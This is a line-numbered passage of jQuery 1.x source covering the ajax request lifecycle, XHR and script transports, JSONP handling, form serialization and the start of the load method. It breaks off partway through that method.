9526 // Builds headers hashtable if needed
9527 getResponseHeader: function( key ) {
9528 var match;
9529 if ( state === 2 ) {
9530 if ( !responseHeaders ) {
9531 responseHeaders = {};
9532 while ( ( match = rheaders.exec( responseHeadersString ) ) ) {
9533 responseHeaders[ match[ 1 ].toLowerCase() ] = match[ 2 ];
9534 }
9535 }
9536 match = responseHeaders[ key.toLowerCase() ];
9537 }
9538 return match == null ? null : match;
9539 },
9540
9541 // Raw string
9542 getAllResponseHeaders: function() {
9543 return state === 2 ? responseHeadersString : null;
9544 },
9545
9546 // Caches the header
9547 setRequestHeader: function( name, value ) {
9548 var lname = name.toLowerCase();
9549 if ( !state ) {
9550 name = requestHeadersNames[ lname ] = requestHeadersNames[ lname ] || name;
9551 requestHeaders[ name ] = value;
9552 }
9553 return this;
9554 },
9555
9556 // Overrides response content-type header
9557 overrideMimeType: function( type ) {
9558 if ( !state ) {
9559 s.mimeType = type;
9560 }
9561 return this;
9562 },
9563
9564 // Status-dependent callbacks
9565 statusCode: function( map ) {
9566 var code;
9567 if ( map ) {
9568 if ( state < 2 ) {
9569 for ( code in map ) {
9570
9571 // Lazy-add the new callback in a way that preserves old ones
9572 statusCode[ code ] = [ statusCode[ code ], map[ code ] ];
9573 }
9574 } else {
9575
9576 // Execute the appropriate callbacks
9577 jqXHR.always( map[ jqXHR.status ] );
9578 }
9579 }
9580 return this;
9581 },
9582
9583 // Cancel the request
9584 abort: function( statusText ) {
9585 var finalText = statusText || strAbort;
9586 if ( transport ) {
9587 transport.abort( finalText );
9588 }
9589 done( 0, finalText );
9590 return this;
9591 }
9592 };
9593
9594 // Attach deferreds
9595 deferred.promise( jqXHR ).complete = completeDeferred.add;
9596 jqXHR.success = jqXHR.done;
9597 jqXHR.error = jqXHR.fail;
9598
9599 // Remove hash character (#7531: and string promotion)
9600 // Add protocol if not provided (#5866: IE7 issue with protocol-less urls)
9601 // Handle falsy url in the settings object (#10093: consistency with old signature)
9602 // We also use the url parameter if available
9603 s.url = ( ( url || s.url || ajaxLocation ) + "" )
9604 .replace( rhash, "" )
9605 .replace( rprotocol, ajaxLocParts[ 1 ] + "//" );
9606
9607 // Alias method option to type as per ticket #12004
9608 s.type = options.method || options.type || s.method || s.type;
9609
9610 // Extract dataTypes list
9611 s.dataTypes = jQuery.trim( s.dataType || "*" ).toLowerCase().match( rnotwhite ) || [ "" ];
9612
9613 // A cross-domain request is in order when we have a protocol:host:port mismatch
9614 if ( s.crossDomain == null ) {
9615 parts = rurl.exec( s.url.toLowerCase() );
9616 s.crossDomain = !!( parts &&
9617 ( parts[ 1 ] !== ajaxLocParts[ 1 ] || parts[ 2 ] !== ajaxLocParts[ 2 ] ||
9618 ( parts[ 3 ] || ( parts[ 1 ] === "http:" ? "80" : "443" ) ) !==
9619 ( ajaxLocParts[ 3 ] || ( ajaxLocParts[ 1 ] === "http:" ? "80" : "443" ) ) )
9620 );
9621 }
9622
9623 // Convert data if not already a string
9624 if ( s.data && s.processData && typeof s.data !== "string" ) {
9625 s.data = jQuery.param( s.data, s.traditional );
9626 }
9627
9628 // Apply prefilters
9629 inspectPrefiltersOrTransports( prefilters, s, options, jqXHR );
9630
9631 // If request was aborted inside a prefilter, stop there
9632 if ( state === 2 ) {
9633 return jqXHR;
9634 }
9635
9636 // We can fire global events as of now if asked to
9637 // Don't fire events if jQuery.event is undefined in an AMD-usage scenario (#15118)
9638 fireGlobals = jQuery.event && s.global;
9639
9640 // Watch for a new set of requests
9641 if ( fireGlobals && jQuery.active++ === 0 ) {
9642 jQuery.event.trigger( "ajaxStart" );
9643 }
9644
9645 // Uppercase the type
9646 s.type = s.type.toUpperCase();
9647
9648 // Determine if request has content
9649 s.hasContent = !rnoContent.test( s.type );
9650
9651 // Save the URL in case we're toying with the If-Modified-Since
9652 // and/or If-None-Match header later on
9653 cacheURL = s.url;
9654
9655 // More options handling for requests with no content
9656 if ( !s.hasContent ) {
9657
9658 // If data is available, append data to url
9659 if ( s.data ) {
9660 cacheURL = ( s.url += ( rquery.test( cacheURL ) ? "&" : "?" ) + s.data );
9661
9662 // #9682: remove data so that it's not used in an eventual retry
9663 delete s.data;
9664 }
9665
9666 // Add anti-cache in url if needed
9667 if ( s.cache === false ) {
9668 s.url = rts.test( cacheURL ) ?
9669
9670 // If there is already a '_' parameter, set its value
9671 cacheURL.replace( rts, "$1_=" + nonce++ ) :
9672
9673 // Otherwise add one to the end
9674 cacheURL + ( rquery.test( cacheURL ) ? "&" : "?" ) + "_=" + nonce++;
9675 }
9676 }
9677
9678 // Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode.
9679 if ( s.ifModified ) {
9680 if ( jQuery.lastModified[ cacheURL ] ) {
9681 jqXHR.setRequestHeader( "If-Modified-Since", jQuery.lastModified[ cacheURL ] );
9682 }
9683 if ( jQuery.etag[ cacheURL ] ) {
9684 jqXHR.setRequestHeader( "If-None-Match", jQuery.etag[ cacheURL ] );
9685 }
9686 }
9687
9688 // Set the correct header, if data is being sent
9689 if ( s.data && s.hasContent && s.contentType !== false || options.contentType ) {
9690 jqXHR.setRequestHeader( "Content-Type", s.contentType );
9691 }
9692
9693 // Set the Accepts header for the server, depending on the dataType
9694 jqXHR.setRequestHeader(
9695 "Accept",
9696 s.dataTypes[ 0 ] && s.accepts[ s.dataTypes[ 0 ] ] ?
9697 s.accepts[ s.dataTypes[ 0 ] ] +
9698 ( s.dataTypes[ 0 ] !== "*" ? ", " + allTypes + "; q=0.01" : "" ) :
9699 s.accepts[ "*" ]
9700 );
9701
9702 // Check for headers option
9703 for ( i in s.headers ) {
9704 jqXHR.setRequestHeader( i, s.headers[ i ] );
9705 }
9706
9707 // Allow custom headers/mimetypes and early abort
9708 if ( s.beforeSend &&
9709 ( s.beforeSend.call( callbackContext, jqXHR, s ) === false || state === 2 ) ) {
9710
9711 // Abort if not done already and return
9712 return jqXHR.abort();
9713 }
9714
9715 // aborting is no longer a cancellation
9716 strAbort = "abort";
9717
9718 // Install callbacks on deferreds
9719 for ( i in { success: 1, error: 1, complete: 1 } ) {
9720 jqXHR[ i ]( s[ i ] );
9721 }
9722
9723 // Get transport
9724 transport = inspectPrefiltersOrTransports( transports, s, options, jqXHR );
9725
9726 // If no transport, we auto-abort
9727 if ( !transport ) {
9728 done( -1, "No Transport" );
9729 } else {
9730 jqXHR.readyState = 1;
9731
9732 // Send global event
9733 if ( fireGlobals ) {
9734 globalEventContext.trigger( "ajaxSend", [ jqXHR, s ] );
9735 }
9736
9737 // If request was aborted inside ajaxSend, stop there
9738 if ( state === 2 ) {
9739 return jqXHR;
9740 }
9741
9742 // Timeout
9743 if ( s.async && s.timeout > 0 ) {
9744 timeoutTimer = window.setTimeout( function() {
9745 jqXHR.abort( "timeout" );
9746 }, s.timeout );
9747 }
9748
9749 try {
9750 state = 1;
9751 transport.send( requestHeaders, done );
9752 } catch ( e ) {
9753
9754 // Propagate exception as error if not done
9755 if ( state < 2 ) {
9756 done( -1, e );
9757
9758 // Simply rethrow otherwise
9759 } else {
9760 throw e;
9761 }
9762 }
9763 }
9764
9765 // Callback for when everything is done
9766 function done( status, nativeStatusText, responses, headers ) {
9767 var isSuccess, success, error, response, modified,
9768 statusText = nativeStatusText;
9769
9770 // Called once
9771 if ( state === 2 ) {
9772 return;
9773 }
9774
9775 // State is "done" now
9776 state = 2;
9777
9778 // Clear timeout if it exists
9779 if ( timeoutTimer ) {
9780 window.clearTimeout( timeoutTimer );
9781 }
9782
9783 // Dereference transport for early garbage collection
9784 // (no matter how long the jqXHR object will be used)
9785 transport = undefined;
9786
9787 // Cache response headers
9788 responseHeadersString = headers || "";
9789
9790 // Set readyState
9791 jqXHR.readyState = status > 0 ? 4 : 0;
9792
9793 // Determine if successful
9794 isSuccess = status >= 200 && status < 300 || status === 304;
9795
9796 // Get response data
9797 if ( responses ) {
9798 response = ajaxHandleResponses( s, jqXHR, responses );
9799 }
9800
9801 // Convert no matter what (that way responseXXX fields are always set)
9802 response = ajaxConvert( s, response, jqXHR, isSuccess );
9803
9804 // If successful, handle type chaining
9805 if ( isSuccess ) {
9806
9807 // Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode.
9808 if ( s.ifModified ) {
9809 modified = jqXHR.getResponseHeader( "Last-Modified" );
9810 if ( modified ) {
9811 jQuery.lastModified[ cacheURL ] = modified;
9812 }
9813 modified = jqXHR.getResponseHeader( "etag" );
9814 if ( modified ) {
9815 jQuery.etag[ cacheURL ] = modified;
9816 }
9817 }
9818
9819 // if no content
9820 if ( status === 204 || s.type === "HEAD" ) {
9821 statusText = "nocontent";
9822
9823 // if not modified
9824 } else if ( status === 304 ) {
9825 statusText = "notmodified";
9826
9827 // If we have data, let's convert it
9828 } else {
9829 statusText = response.state;
9830 success = response.data;
9831 error = response.error;
9832 isSuccess = !error;
9833 }
9834 } else {
9835
9836 // We extract error from statusText
9837 // then normalize statusText and status for non-aborts
9838 error = statusText;
9839 if ( status || !statusText ) {
9840 statusText = "error";
9841 if ( status < 0 ) {
9842 status = 0;
9843 }
9844 }
9845 }
9846
9847 // Set data for the fake xhr object
9848 jqXHR.status = status;
9849 jqXHR.statusText = ( nativeStatusText || statusText ) + "";
9850
9851 // Success/Error
9852 if ( isSuccess ) {
9853 deferred.resolveWith( callbackContext, [ success, statusText, jqXHR ] );
9854 } else {
9855 deferred.rejectWith( callbackContext, [ jqXHR, statusText, error ] );
9856 }
9857
9858 // Status-dependent callbacks
9859 jqXHR.statusCode( statusCode );
9860 statusCode = undefined;
9861
9862 if ( fireGlobals ) {
9863 globalEventContext.trigger( isSuccess ? "ajaxSuccess" : "ajaxError",
9864 [ jqXHR, s, isSuccess ? success : error ] );
9865 }
9866
9867 // Complete
9868 completeDeferred.fireWith( callbackContext, [ jqXHR, statusText ] );
9869
9870 if ( fireGlobals ) {
9871 globalEventContext.trigger( "ajaxComplete", [ jqXHR, s ] );
9872
9873 // Handle the global AJAX counter
9874 if ( !( --jQuery.active ) ) {
9875 jQuery.event.trigger( "ajaxStop" );
9876 }
9877 }
9878 }
9879
9880 return jqXHR;
9881 },
9882
9883 getJSON: function( url, data, callback ) {
9884 return jQuery.get( url, data, callback, "json" );
9885 },
9886
9887 getScript: function( url, callback ) {
9888 return jQuery.get( url, undefined, callback, "script" );
9889 }
9890 } );
9891
9892 jQuery.each( [ "get", "post" ], function( i, method ) {
9893 jQuery[ method ] = function( url, data, callback, type ) {
9894
9895 // shift arguments if data argument was omitted
9896 if ( jQuery.isFunction( data ) ) {
9897 type = type || callback;
9898 callback = data;
9899 data = undefined;
9900 }
9901
9902 // The url can be an options object (which then must have .url)
9903 return jQuery.ajax( jQuery.extend( {
9904 url: url,
9905 type: method,
9906 dataType: type,
9907 data: data,
9908 success: callback
9909 }, jQuery.isPlainObject( url ) && url ) );
9910 };
9911 } );
9912
9913
9914 jQuery._evalUrl = function( url ) {
9915 return jQuery.ajax( {
9916 url: url,
9917
9918 // Make this explicit, since user can override this through ajaxSetup (#11264)
9919 type: "GET",
9920 dataType: "script",
9921 cache: true,
9922 async: false,
9923 global: false,
9924 "throws": true
9925 } );
9926 };
9927
9928
9929 jQuery.fn.extend( {
9930 wrapAll: function( html ) {
9931 if ( jQuery.isFunction( html ) ) {
9932 return this.each( function( i ) {
9933 jQuery( this ).wrapAll( html.call( this, i ) );
9934 } );
9935 }
9936
9937 if ( this[ 0 ] ) {
9938
9939 // The elements to wrap the target around
9940 var wrap = jQuery( html, this[ 0 ].ownerDocument ).eq( 0 ).clone( true );
9941
9942 if ( this[ 0 ].parentNode ) {
9943 wrap.insertBefore( this[ 0 ] );
9944 }
9945
9946 wrap.map( function() {
9947 var elem = this;
9948
9949 while ( elem.firstChild && elem.firstChild.nodeType === 1 ) {
9950 elem = elem.firstChild;
9951 }
9952
9953 return elem;
9954 } ).append( this );
9955 }
9956
9957 return this;
9958 },
9959
9960 wrapInner: function( html ) {
9961 if ( jQuery.isFunction( html ) ) {
9962 return this.each( function( i ) {
9963 jQuery( this ).wrapInner( html.call( this, i ) );
9964 } );
9965 }
9966
9967 return this.each( function() {
9968 var self = jQuery( this ),
9969 contents = self.contents();
9970
9971 if ( contents.length ) {
9972 contents.wrapAll( html );
9973
9974 } else {
9975 self.append( html );
9976 }
9977 } );
9978 },
9979
9980 wrap: function( html ) {
9981 var isFunction = jQuery.isFunction( html );
9982
9983 return this.each( function( i ) {
9984 jQuery( this ).wrapAll( isFunction ? html.call( this, i ) : html );
9985 } );
9986 },
9987
9988 unwrap: function() {
9989 return this.parent().each( function() {
9990 if ( !jQuery.nodeName( this, "body" ) ) {
9991 jQuery( this ).replaceWith( this.childNodes );
9992 }
9993 } ).end();
9994 }
9995 } );
9996
9997
9998 function getDisplay( elem ) {
9999 return elem.style && elem.style.display || jQuery.css( elem, "display" );
10000 }
10001
10002 function filterHidden( elem ) {
10003
10004 // Disconnected elements are considered hidden
10005 if ( !jQuery.contains( elem.ownerDocument || document, elem ) ) {
10006 return true;
10007 }
10008 while ( elem && elem.nodeType === 1 ) {
10009 if ( getDisplay( elem ) === "none" || elem.type === "hidden" ) {
10010 return true;
10011 }
10012 elem = elem.parentNode;
10013 }
10014 return false;
10015 }
10016
10017 jQuery.expr.filters.hidden = function( elem ) {
10018
10019 // Support: Opera <= 12.12
10020 // Opera reports offsetWidths and offsetHeights less than zero on some elements
10021 return support.reliableHiddenOffsets() ?
10022 ( elem.offsetWidth <= 0 && elem.offsetHeight <= 0 &&
10023 !elem.getClientRects().length ) :
10024 filterHidden( elem );
10025 };
10026
10027 jQuery.expr.filters.visible = function( elem ) {
10028 return !jQuery.expr.filters.hidden( elem );
10029 };
10030
10031
10032
10033
10034 var r20 = /%20/g,
10035 rbracket = /\[\]$/,
10036 rCRLF = /\r?\n/g,
10037 rsubmitterTypes = /^(?:submit|button|image|reset|file)$/i,
10038 rsubmittable = /^(?:input|select|textarea|keygen)/i;
10039
10040 function buildParams( prefix, obj, traditional, add ) {
10041 var name;
10042
10043 if ( jQuery.isArray( obj ) ) {
10044
10045 // Serialize array item.
10046 jQuery.each( obj, function( i, v ) {
10047 if ( traditional || rbracket.test( prefix ) ) {
10048
10049 // Treat each array item as a scalar.
10050 add( prefix, v );
10051
10052 } else {
10053
10054 // Item is non-scalar (array or object), encode its numeric index.
10055 buildParams(
10056 prefix + "[" + ( typeof v === "object" && v != null ? i : "" ) + "]",
10057 v,
10058 traditional,
10059 add
10060 );
10061 }
10062 } );
10063
10064 } else if ( !traditional && jQuery.type( obj ) === "object" ) {
10065
10066 // Serialize object item.
10067 for ( name in obj ) {
10068 buildParams( prefix + "[" + name + "]", obj[ name ], traditional, add );
10069 }
10070
10071 } else {
10072
10073 // Serialize scalar item.
10074 add( prefix, obj );
10075 }
10076 }
10077
10078// Serialize an array of form elements or a set of
10079// key/values into a query string
10080 jQuery.param = function( a, traditional ) {
10081 var prefix,
10082 s = [],
10083 add = function( key, value ) {
10084
10085 // If value is a function, invoke it and return its value
10086 value = jQuery.isFunction( value ) ? value() : ( value == null ? "" : value );
10087 s[ s.length ] = encodeURIComponent( key ) + "=" + encodeURIComponent( value );
10088 };
10089
10090 // Set traditional to true for jQuery <= 1.3.2 behavior.
10091 if ( traditional === undefined ) {
10092 traditional = jQuery.ajaxSettings && jQuery.ajaxSettings.traditional;
10093 }
10094
10095 // If an array was passed in, assume that it is an array of form elements.
10096 if ( jQuery.isArray( a ) || ( a.jquery && !jQuery.isPlainObject( a ) ) ) {
10097
10098 // Serialize the form elements
10099 jQuery.each( a, function() {
10100 add( this.name, this.value );
10101 } );
10102
10103 } else {
10104
10105 // If traditional, encode the "old" way (the way 1.3.2 or older
10106 // did it), otherwise encode params recursively.
10107 for ( prefix in a ) {
10108 buildParams( prefix, a[ prefix ], traditional, add );
10109 }
10110 }
10111
10112 // Return the resulting serialization
10113 return s.join( "&" ).replace( r20, "+" );
10114 };
10115
10116 jQuery.fn.extend( {
10117 serialize: function() {
10118 return jQuery.param( this.serializeArray() );
10119 },
10120 serializeArray: function() {
10121 return this.map( function() {
10122
10123 // Can add propHook for "elements" to filter or add form elements
10124 var elements = jQuery.prop( this, "elements" );
10125 return elements ? jQuery.makeArray( elements ) : this;
10126 } )
10127 .filter( function() {
10128 var type = this.type;
10129
10130 // Use .is(":disabled") so that fieldset[disabled] works
10131 return this.name && !jQuery( this ).is( ":disabled" ) &&
10132 rsubmittable.test( this.nodeName ) && !rsubmitterTypes.test( type ) &&
10133 ( this.checked || !rcheckableType.test( type ) );
10134 } )
10135 .map( function( i, elem ) {
10136 var val = jQuery( this ).val();
10137
10138 return val == null ?
10139 null :
10140 jQuery.isArray( val ) ?
10141 jQuery.map( val, function( val ) {
10142 return { name: elem.name, value: val.replace( rCRLF, "\r\n" ) };
10143 } ) :
10144 { name: elem.name, value: val.replace( rCRLF, "\r\n" ) };
10145 } ).get();
10146 }
10147 } );
10148
10149
10150// Create the request object
10151// (This is still attached to ajaxSettings for backward compatibility)
10152 jQuery.ajaxSettings.xhr = window.ActiveXObject !== undefined ?
10153
10154 // Support: IE6-IE8
10155 function() {
10156
10157 // XHR cannot access local files, always use ActiveX for that case
10158 if ( this.isLocal ) {
10159 return createActiveXHR();
10160 }
10161
10162 // Support: IE 9-11
10163 // IE seems to error on cross-domain PATCH requests when ActiveX XHR
10164 // is used. In IE 9+ always use the native XHR.
10165 // Note: this condition won't catch Edge as it doesn't define
10166 // document.documentMode but it also doesn't support ActiveX so it won't
10167 // reach this code.
10168 if ( document.documentMode > 8 ) {
10169 return createStandardXHR();
10170 }
10171
10172 // Support: IE<9
10173 // oldIE XHR does not support non-RFC2616 methods (#13240)
10174 // See http://msdn.microsoft.com/en-us/library/ie/ms536648(v=vs.85).aspx
10175 // and http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9
10176 // Although this check for six methods instead of eight
10177 // since IE also does not support "trace" and "connect"
10178 return /^(get|post|head|put|delete|options)$/i.test( this.type ) &&
10179 createStandardXHR() || createActiveXHR();
10180 } :
10181
10182 // For all other browsers, use the standard XMLHttpRequest object
10183 createStandardXHR;
10184
10185 var xhrId = 0,
10186 xhrCallbacks = {},
10187 xhrSupported = jQuery.ajaxSettings.xhr();
10188
10189// Support: IE<10
10190// Open requests must be manually aborted on unload (#5280)
10191// See https://support.microsoft.com/kb/2856746 for more info
10192 if ( window.attachEvent ) {
10193 window.attachEvent( "onunload", function() {
10194 for ( var key in xhrCallbacks ) {
10195 xhrCallbacks[ key ]( undefined, true );
10196 }
10197 } );
10198 }
10199
10200// Determine support properties
10201 support.cors = !!xhrSupported && ( "withCredentials" in xhrSupported );
10202 xhrSupported = support.ajax = !!xhrSupported;
10203
10204// Create transport if the browser can provide an xhr
10205 if ( xhrSupported ) {
10206
10207 jQuery.ajaxTransport( function( options ) {
10208
10209 // Cross domain only allowed if supported through XMLHttpRequest
10210 if ( !options.crossDomain || support.cors ) {
10211
10212 var callback;
10213
10214 return {
10215 send: function( headers, complete ) {
10216 var i,
10217 xhr = options.xhr(),
10218 id = ++xhrId;
10219
10220 // Open the socket
10221 xhr.open(
10222 options.type,
10223 options.url,
10224 options.async,
10225 options.username,
10226 options.password
10227 );
10228
10229 // Apply custom fields if provided
10230 if ( options.xhrFields ) {
10231 for ( i in options.xhrFields ) {
10232 xhr[ i ] = options.xhrFields[ i ];
10233 }
10234 }
10235
10236 // Override mime type if needed
10237 if ( options.mimeType && xhr.overrideMimeType ) {
10238 xhr.overrideMimeType( options.mimeType );
10239 }
10240
10241 // X-Requested-With header
10242 // For cross-domain requests, seeing as conditions for a preflight are
10243 // akin to a jigsaw puzzle, we simply never set it to be sure.
10244 // (it can always be set on a per-request basis or even using ajaxSetup)
10245 // For same-domain requests, won't change header if already provided.
10246 if ( !options.crossDomain && !headers[ "X-Requested-With" ] ) {
10247 headers[ "X-Requested-With" ] = "XMLHttpRequest";
10248 }
10249
10250 // Set headers
10251 for ( i in headers ) {
10252
10253 // Support: IE<9
10254 // IE's ActiveXObject throws a 'Type Mismatch' exception when setting
10255 // request header to a null-value.
10256 //
10257 // To keep consistent with other XHR implementations, cast the value
10258 // to string and ignore `undefined`.
10259 if ( headers[ i ] !== undefined ) {
10260 xhr.setRequestHeader( i, headers[ i ] + "" );
10261 }
10262 }
10263
10264 // Do send the request
10265 // This may raise an exception which is actually
10266 // handled in jQuery.ajax (so no try/catch here)
10267 xhr.send( ( options.hasContent && options.data ) || null );
10268
10269 // Listener
10270 callback = function( _, isAbort ) {
10271 var status, statusText, responses;
10272
10273 // Was never called and is aborted or complete
10274 if ( callback && ( isAbort || xhr.readyState === 4 ) ) {
10275
10276 // Clean up
10277 delete xhrCallbacks[ id ];
10278 callback = undefined;
10279 xhr.onreadystatechange = jQuery.noop;
10280
10281 // Abort manually if needed
10282 if ( isAbort ) {
10283 if ( xhr.readyState !== 4 ) {
10284 xhr.abort();
10285 }
10286 } else {
10287 responses = {};
10288 status = xhr.status;
10289
10290 // Support: IE<10
10291 // Accessing binary-data responseText throws an exception
10292 // (#11426)
10293 if ( typeof xhr.responseText === "string" ) {
10294 responses.text = xhr.responseText;
10295 }
10296
10297 // Firefox throws an exception when accessing
10298 // statusText for faulty cross-domain requests
10299 try {
10300 statusText = xhr.statusText;
10301 } catch ( e ) {
10302
10303 // We normalize with Webkit giving an empty statusText
10304 statusText = "";
10305 }
10306
10307 // Filter status for non standard behaviors
10308
10309 // If the request is local and we have data: assume a success
10310 // (success with no data won't get notified, that's the best we
10311 // can do given current implementations)
10312 if ( !status && options.isLocal && !options.crossDomain ) {
10313 status = responses.text ? 200 : 404;
10314
10315 // IE - #1450: sometimes returns 1223 when it should be 204
10316 } else if ( status === 1223 ) {
10317 status = 204;
10318 }
10319 }
10320 }
10321
10322 // Call complete if needed
10323 if ( responses ) {
10324 complete( status, statusText, responses, xhr.getAllResponseHeaders() );
10325 }
10326 };
10327
10328 // Do send the request
10329 // `xhr.send` may raise an exception, but it will be
10330 // handled in jQuery.ajax (so no try/catch here)
10331 if ( !options.async ) {
10332
10333 // If we're in sync mode we fire the callback
10334 callback();
10335 } else if ( xhr.readyState === 4 ) {
10336
10337 // (IE6 & IE7) if it's in cache and has been
10338 // retrieved directly we need to fire the callback
10339 window.setTimeout( callback );
10340 } else {
10341
10342 // Register the callback, but delay it in case `xhr.send` throws
10343 // Add to the list of active xhr callbacks
10344 xhr.onreadystatechange = xhrCallbacks[ id ] = callback;
10345 }
10346 },
10347
10348 abort: function() {
10349 if ( callback ) {
10350 callback( undefined, true );
10351 }
10352 }
10353 };
10354 }
10355 } );
10356 }
10357
10358// Functions to create xhrs
10359 function createStandardXHR() {
10360 try {
10361 return new window.XMLHttpRequest();
10362 } catch ( e ) {}
10363 }
10364
10365 function createActiveXHR() {
10366 try {
10367 return new window.ActiveXObject( "Microsoft.XMLHTTP" );
10368 } catch ( e ) {}
10369 }
10370
10371
10372
10373
10374// Install script dataType
10375 jQuery.ajaxSetup( {
10376 accepts: {
10377 script: "text/javascript, application/javascript, " +
10378 "application/ecmascript, application/x-ecmascript"
10379 },
10380 contents: {
10381 script: /\b(?:java|ecma)script\b/
10382 },
10383 converters: {
10384 "text script": function( text ) {
10385 jQuery.globalEval( text );
10386 return text;
10387 }
10388 }
10389 } );
10390
10391// Handle cache's special case and global
10392 jQuery.ajaxPrefilter( "script", function( s ) {
10393 if ( s.cache === undefined ) {
10394 s.cache = false;
10395 }
10396 if ( s.crossDomain ) {
10397 s.type = "GET";
10398 s.global = false;
10399 }
10400 } );
10401
10402// Bind script tag hack transport
10403 jQuery.ajaxTransport( "script", function( s ) {
10404
10405 // This transport only deals with cross domain requests
10406 if ( s.crossDomain ) {
10407
10408 var script,
10409 head = document.head || jQuery( "head" )[ 0 ] || document.documentElement;
10410
10411 return {
10412
10413 send: function( _, callback ) {
10414
10415 script = document.createElement( "script" );
10416
10417 script.async = true;
10418
10419 if ( s.scriptCharset ) {
10420 script.charset = s.scriptCharset;
10421 }
10422
10423 script.src = s.url;
10424
10425 // Attach handlers for all browsers
10426 script.onload = script.onreadystatechange = function( _, isAbort ) {
10427
10428 if ( isAbort || !script.readyState || /loaded|complete/.test( script.readyState ) ) {
10429
10430 // Handle memory leak in IE
10431 script.onload = script.onreadystatechange = null;
10432
10433 // Remove the script
10434 if ( script.parentNode ) {
10435 script.parentNode.removeChild( script );
10436 }
10437
10438 // Dereference the script
10439 script = null;
10440
10441 // Callback if not abort
10442 if ( !isAbort ) {
10443 callback( 200, "success" );
10444 }
10445 }
10446 };
10447
10448 // Circumvent IE6 bugs with base elements (#2709 and #4378) by prepending
10449 // Use native DOM manipulation to avoid our domManip AJAX trickery
10450 head.insertBefore( script, head.firstChild );
10451 },
10452
10453 abort: function() {
10454 if ( script ) {
10455 script.onload( undefined, true );
10456 }
10457 }
10458 };
10459 }
10460 } );
10461
10462
10463
10464
10465 var oldCallbacks = [],
10466 rjsonp = /(=)\?(?=&|$)|\?\?/;
10467
10468// Default jsonp settings
10469 jQuery.ajaxSetup( {
10470 jsonp: "callback",
10471 jsonpCallback: function() {
10472 var callback = oldCallbacks.pop() || ( jQuery.expando + "_" + ( nonce++ ) );
10473 this[ callback ] = true;
10474 return callback;
10475 }
10476 } );
10477
10478// Detect, normalize options and install callbacks for jsonp requests
10479 jQuery.ajaxPrefilter( "json jsonp", function( s, originalSettings, jqXHR ) {
10480
10481 var callbackName, overwritten, responseContainer,
10482 jsonProp = s.jsonp !== false && ( rjsonp.test( s.url ) ?
10483 "url" :
10484 typeof s.data === "string" &&
10485 ( s.contentType || "" )
10486 .indexOf( "application/x-www-form-urlencoded" ) === 0 &&
10487 rjsonp.test( s.data ) && "data"
10488 );
10489
10490 // Handle iff the expected data type is "jsonp" or we have a parameter to set
10491 if ( jsonProp || s.dataTypes[ 0 ] === "jsonp" ) {
10492
10493 // Get callback name, remembering preexisting value associated with it
10494 callbackName = s.jsonpCallback = jQuery.isFunction( s.jsonpCallback ) ?
10495 s.jsonpCallback() :
10496 s.jsonpCallback;
10497
10498 // Insert callback into url or form data
10499 if ( jsonProp ) {
10500 s[ jsonProp ] = s[ jsonProp ].replace( rjsonp, "$1" + callbackName );
10501 } else if ( s.jsonp !== false ) {
10502 s.url += ( rquery.test( s.url ) ? "&" : "?" ) + s.jsonp + "=" + callbackName;
10503 }
10504
10505 // Use data converter to retrieve json after script execution
10506 s.converters[ "script json" ] = function() {
10507 if ( !responseContainer ) {
10508 jQuery.error( callbackName + " was not called" );
10509 }
10510 return responseContainer[ 0 ];
10511 };
10512
10513 // force json dataType
10514 s.dataTypes[ 0 ] = "json";
10515
10516 // Install callback
10517 overwritten = window[ callbackName ];
10518 window[ callbackName ] = function() {
10519 responseContainer = arguments;
10520 };
10521
10522 // Clean-up function (fires after converters)
10523 jqXHR.always( function() {
10524
10525 // If previous value didn't exist - remove it
10526 if ( overwritten === undefined ) {
10527 jQuery( window ).removeProp( callbackName );
10528
10529 // Otherwise restore preexisting value
10530 } else {
10531 window[ callbackName ] = overwritten;
10532 }
10533
10534 // Save back as free
10535 if ( s[ callbackName ] ) {
10536
10537 // make sure that re-using the options doesn't screw things around
10538 s.jsonpCallback = originalSettings.jsonpCallback;
10539
10540 // save the callback name for future use
10541 oldCallbacks.push( callbackName );
10542 }
10543
10544 // Call if it was a function and we have a response
10545 if ( responseContainer && jQuery.isFunction( overwritten ) ) {
10546 overwritten( responseContainer[ 0 ] );
10547 }
10548
10549 responseContainer = overwritten = undefined;
10550 } );
10551
10552 // Delegate to script
10553 return "script";
10554 }
10555 } );
10556
10557
10558
10559
10560// data: string of html
10561// context (optional): If specified, the fragment will be created in this context,
10562// defaults to document
10563// keepScripts (optional): If true, will include scripts passed in the html string
10564 jQuery.parseHTML = function( data, context, keepScripts ) {
10565 if ( !data || typeof data !== "string" ) {
10566 return null;
10567 }
10568 if ( typeof context === "boolean" ) {
10569 keepScripts = context;
10570 context = false;
10571 }
10572 context = context || document;
10573
10574 var parsed = rsingleTag.exec( data ),
10575 scripts = !keepScripts && [];
10576
10577 // Single tag
10578 if ( parsed ) {
10579 return [ context.createElement( parsed[ 1 ] ) ];
10580 }
10581
10582 parsed = buildFragment( [ data ], context, scripts );
10583
10584 if ( scripts && scripts.length ) {
10585 jQuery( scripts ).remove();
10586 }
10587
10588 return jQuery.merge( [], parsed.childNodes );
10589 };
10590
10591
10592// Keep a copy of the old load method
10593 var _load = jQuery.fn.load;
10594
10595 /**
10596 * Load a url into a page
10597 */
10598 jQuery.fn.load = function( url, params, callback ) {
10599 if ( typeof url !== "string" && _load ) {
10600 return _load.apply( this, arguments );
10601 }
10602
10603 var selector, type, response,
10604 self = this,
10605 off = url.indexOf( " " );
10606
10607 if ( off > -1 ) {
10608 selector = jQuery.trim( url.slice( off, url.length ) );
10609 url = url.slice( 0, off );
10610 }
10611
10612 // If it's a function
10613 if ( jQuery.isFunction( params ) ) {
10614
10615 // We assume that it's the callback
10616 callback = params;
10617 params = undefined;
10618
10619 // Otherwise, build a param string
10620 } else if ( params && typeof params === "object" ) {
10621 type = "POST";
10622 }
10623
10624 // If we have elements to modify, make the request
10625 if ( self.length > 0 ) {
10626 jQuery.ajax( {
10627 url: url,
10628
10629 // If "type" variable is undefined, then "GET" method will be used.
10630 // Make value of this field explicit since
10631 // user can override it through ajaxSetup method
10632 type: type || "GET",
10633 dataType: "html",
10634 data: params
10635 } ).done( function( responseText ) {
10636
10637 // Save response for use in complete callback
10638 response = arguments;
10639
10640 self.html( selector ?
10641
10642 // If a selector was specified, locate the right elements in a dummy div
10643 // Exclude scripts to avoid IE 'Permission Denied' errors
10644 jQuery( "<div>" ).append( jQuery.parseHTML( responseText ) ).find( selector ) :
10645
10646 // Otherwise use the full result
10647 responseText );
10648
